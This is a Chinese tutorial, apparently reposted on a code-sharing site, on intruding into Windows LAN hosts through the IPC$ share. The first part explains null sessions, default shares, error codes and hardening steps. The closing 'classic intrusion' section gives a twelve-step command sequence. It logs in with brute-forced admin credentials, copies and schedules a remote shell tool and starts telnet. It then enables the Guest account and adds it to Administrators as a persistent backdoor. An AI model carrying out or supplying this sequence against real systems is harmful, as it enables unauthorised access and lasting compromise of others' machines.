IPC$局域網入侵詳解


什么是ipc$

  IPC$(Internet Process Connection)是共享"命名管道"的資源(大家都是這么說的),它是為了讓進程間通信而開放的命名管道,可以通過驗證用戶名和密碼獲得相應的權限,在遠程管理計算機和查看計算機的共享資源時使用。
  利用IPC$,連接者甚至可以與目標主機建立一個空的連接而無需用戶名與密碼(當然對方機器必須開了ipc$共享,否則你是連接不上的),而利用這個空的連接,連接者還可以得到目標主機上的用戶列表(不過負責的管理員會禁止導出用戶列表的)。
  我們總在說ipc$漏洞ipc$漏洞,其實ipc$並不是真正意義上的漏洞,它是為了方便管理員的遠程管理而開放的遠程網絡登陸功能,而且還打開了默認共享,即所有的邏輯盤(c$,d$,e$……)和系統目錄winnt或windows(admin$)。
  所有的這些,初衷都是為了方便管理員的管理,但好的初衷並不一定有好的收效,一些別有用心者(到底是什么用心?我也不知道,代詞一個)會利用IPC$,訪問共享資源,導出用戶列表,並使用一些字典工具,進行密碼探測,寄希望於獲得更高的權限,從而達到不可告人的目的。

ipc$與空連接、139、445端口、默認共享的關系

  以上四者的關系可能是菜鳥很困惑的一個問題,不過大部分文章都沒有進行特別的說明,其實我理解的也不是很透徹,都是在與大家交流中總結出來的。(一個有良好討論氛圍的BBS可以說是菜鳥的天堂)

1)ipc$與空連接:
  不需要用戶名與密碼的ipc$連接即為空連接,一旦你以某個用戶或管理員的身份登陸(即以特定的用戶名和密碼進行ipc$連接),自然就不能叫做空連接了。
許多人可能要問了,既然可以空連接,那我以后就空連接好了,為什么還要費九牛二虎之力去掃描弱口令,呵呵,當你以空連接登陸時,你沒有任何權限(很郁悶吧),而你以用戶或管理員的身份登陸時,你就會有相應的權限(有權限誰不想呀,所以還是老老實實掃吧,不要偷懶喲)。

2)ipc$與139、445端口:
  ipc$連接可以實現遠程登陸及對默認共享的訪問;而139端口的開啟表示netbios協議的應用,我們可以通過139、445(win2000)端口實現對共享文件/打印機的訪問,因此一般來講,ipc$連接是需要139或445端口來支持的。

3)ipc$與默認共享
  默認共享是為了方便管理員遠程管理而默認開啟的共享(你當然可以關閉它),即所有的邏輯盤(c$,d$,e$……)和系統目錄winnt或windows(admin$),我們通過ipc$連接可以實現對這些默認共享的訪問(前提是對方沒有關閉這些默認共享)。

ipc$連接失敗的原因

以下5個原因是比較常見的:
1)你的系統不是NT或以上*作系統;
2)對方沒有打開ipc$默認共享
3)對方未開啟139或445端口(惑被防火牆屏蔽)
4)你的命令輸入有誤(比如缺少了空格等)
5)用戶名或密碼錯誤(空連接當然無所謂了)

另外,你也可以根據返回的錯誤號分析原因:
錯誤號5,拒絕訪問 : 很可能你使用的用戶不是管理員權限的,先提升權限;
錯誤號51,Windows 無法找到網絡路徑 : 網絡有問題;
錯誤號53,找不到網絡路徑 : ip地址錯誤;目標未開機;目標lanmanserver服務未啟動;目標有防火牆(端口過濾);
錯誤號67,找不到網絡名 : 你的lanmanworkstation服務未啟動;目標刪除了ipc$;
錯誤號1219,提供的憑據與已存在的憑據集沖突 : 你已經和對方建立了一個ipc$,請刪除再連。
錯誤號1326,未知的用戶名或錯誤密碼 : 原因很明顯了;
錯誤號1792,試圖登錄,但是網絡登錄服務沒有啟動 : 目標NetLogon服務未啟動。(連接域控會出現此情況)
錯誤號2242,此用戶的密碼已經過期 : 目標有帳號策略,強制定期要求更改密碼。
關於ipc$連不上的問題比較復雜,除了以上的原因,還會有其他一些不確定因素,在此本人無法詳細而確定的說明,就靠大家自己體會和試驗了。

如何打開目標的IPC$(此段引自相關文章)

  首先你需要獲得一個不依賴於ipc$的shell,比如sql的cmd擴展、telnet、木馬, 當然這shell必須是admin權限的,然后你可以使用shell執行命令 net share ipc$ 來開放目標的ipc$。從上面可以知道,ipc$能否使用還有很多條件。請確認相關服務都已運行,沒有就啟動它(不知道怎么做的請看net命令的用法),還是不行的話(比如有防火牆,殺不了)建議放棄。

如何防范ipc$入侵

1、禁止空連接進行枚舉(此操作並不能阻止空連接的建立,引自《解剖win2000下的空會話》)

  首先運行regedit,找到如下組建 [HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Control/LSA]把 RestrictAnonymous = DWORD的鍵值改為:00000001(如果設置為2的話,有一些問題會發生,比如一些WIN的服務出現問題等等)

2、禁止默認共享

1)察看本地共享資源
  運行-cmd-輸入net share
2)刪除共享(每次輸入一個)
  net share ipc$ /delete
  net share admin$ /delete
  net share c$ /delete
  net share d$ /delete(如果有e,f,……可以繼續刪除)
3)停止server服務
  net stop server /y (重新啟動后server服務會重新開啟)
4)修改注冊表
  運行-regedit
  server 版:找到如下主鍵[HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Services /LanmanServer/Parameters]把AutoShareServer(DWORD)的鍵值改為:00000000。
  pro版:找到如下主鍵[HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Services/LanmanServer/Parameters]把AutoShareWks(DWORD)的鍵值改為:00000000。
  如果上面所說的主鍵不存在,就新建(右擊-新建-雙字節值)一個主健再改鍵值。

3、永久關閉ipc$和默認共享依賴的服務:lanmanserver即server服務
  控制面板-管理工具-服務-找到server服務(右擊)-屬性-常規-啟動類型-已禁用

4、安裝防火牆(選中相關設置),或者端口過濾(濾掉139、445等),或者用新版本的優化大師

5設置復雜密碼,防止通過ipc$窮舉密碼

相關命令

1)建立空連接:
net use //IP/ipc$"" /user:"" (一定要注意:這一行命令中包含了3個空格)

2)建立非空連接:
net use //IP/ipc$ "用戶名" /user:"密碼" (同樣有3個空格)

3)映射默認共享:
net use z: //IP/c$ "密碼" /user:"用戶名" (即可將對方的c盤映射為自己的z盤,其他盤類推)
如果已經和目標建立了ipc$,則可以直接用IP+盤符+$訪問,具體命令 net use z: //IP/c$

4)刪除一個ipc$連接
net use //IP/ipc$ /del

5)刪除共享映射
net use c: /del 刪除映射的c盤,其他盤類推
net use * /del 刪除全部,會有提示要求按y確認

經典入侵模式

這個入侵模式太經典了,大部分ipc教程都有介紹,我也就拿過來引用了,在此感謝原創作者!(不知道是哪位前輩)

1. C:/>net use //127.0.0.1/IPC$ "密碼" /user:"用戶名"
一般用流光,通過掃描弱口令來得到,管理員帳號和密碼。

2. C:/>copy srv.exe //127.0.0.1/admin$
先復制srv.exe上去,在流光的Tools目錄下就有(這里的$是指admin用戶的c:/winnt/system32/,大家還可以使用c$、d$,意思是C盤與D盤,這看你要復制到什么地方去了)。

3. C:/>net time //127.0.0.1
查查時間,發現127.0.0.1 的當前時間是 2004/6/15 上午 11:00,命令成功完成。

4. C:/>at //127.0.0.1 11:05 srv.exe
用at命令啟動srv.exe吧

5. C:/>net time //127.0.0.1
再查查到時間沒有?如果127.0.0.1 的當前時間是 2004/6/15 上午 11:05,那就准備開始下面的命令。

6. C:/>telnet 127.0.0.1 99
這里會用到Telnet命令吧,注意端口是99。Telnet默認的是23端口,但是我們使用的是SRV在對方計算機中為我們建立一個99端口的Shell。
雖然我們可以Telnet上去了,但是SRV是一次性的,下次登錄還要再激活!所以我們打算建立一個Telnet服務!這就要用到ntlm了

7.C:/>copy ntlm.exe //127.0.0.1/admin$
用Copy命令把ntlm.exe上傳到主機上(ntlm.exe也是在《流光》的Tools目錄中)。

8. C:/WINNT/system32>ntlm
輸入ntlm啟動(這里的C:/WINNT/system32>指的是對方計算機,運行ntlm其實是讓這個程序在對方計算機上運行)。當出現"DONE"的時候,就說明已經啟動正常。然后使用"net start telnet"來開啟Telnet服務!

9. Telnet 127.0.0.1,接着輸入用戶名與密碼就進入對方了,操作就像在DOS上操作一樣簡單!(然后你想做什么?想做什么就做什么吧,哈哈)
為了以防萬一,我們再把guest激活加到管理組

10. C:/>net user guest /active:yes
將對方的Guest用戶激活

11. C:/>net user guest 1234
將Guest的密碼改為1234,或者你要設定的密碼

12. C:/>net localgroup administrators guest /add
將Guest變為Administrator(如果管理員密碼更改,guest帳號沒改變的話,下次我們可以用guest再次訪問這台計算機)

 

 

詳見:http://blog.csdn.net/dalu007/article/details/302955

 

 

 

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM